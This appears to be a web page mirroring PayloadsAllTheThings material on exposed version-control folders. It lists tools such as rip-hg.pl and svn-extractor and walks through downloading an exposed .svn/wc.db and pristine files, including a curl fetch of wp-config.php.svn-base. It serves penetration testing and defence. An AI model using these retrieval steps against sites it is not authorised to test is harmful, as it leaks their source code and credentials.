Skip to content

Payload topic

Insecure Source Code Management

Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in pr…

Passages
24
Bounty reports
of this class
24 passages
Contents
  1. Insecure Source Code Management
  2. Methodology
  3. Bazaar: Bazaar
  4. Bazaar: rip-bzr.pl
  5. Bazaar: bzrdumper
  6. Git: Methodology
  7. Git: Recovering file contents from .git/logs/HEAD
  8. Git: Recovering file contents from .git/index
  9. Git: git-dumper.py
  10. Git: diggit.py
  11. Git: GoGitDumper
  12. Git: rip-git
  13. Git: GitHack
  14. Git: GitTools
  15. Git: noseyparker
  16. Git: trufflehog
  17. Git: Yar
  18. Git: Gitrob
  19. Git: Gitleaks
  20. Mercurial: Mercurial
  21. Mercurial: rip-hg.pl
  22. Subversion: Subversion
  23. Subversion: Tools
  24. Subversion: Methodology

Mercurial: rip-hg.pl

SourceOn the Atlas

* [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG... ```powershell docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u ```

Subversion: Subversion

SourceOn the Atlas

> Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.

Subversion: Tools

SourceOn the Atlas

* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network. ```powershell python svn-extractor.py --url "url with .svn available" ```

Subversion: Methodology

SourceOn the Atlas
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base

1. Download the svn database from `http://server/path_to_vulnerable_site/.svn/wc.db` ```powershell INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL); ``` 2. Download interesting files * remove `$sha1$` prefix * add `.svn-base` postfix * use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case) * create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-14.

Updated AboutDevelopersSign in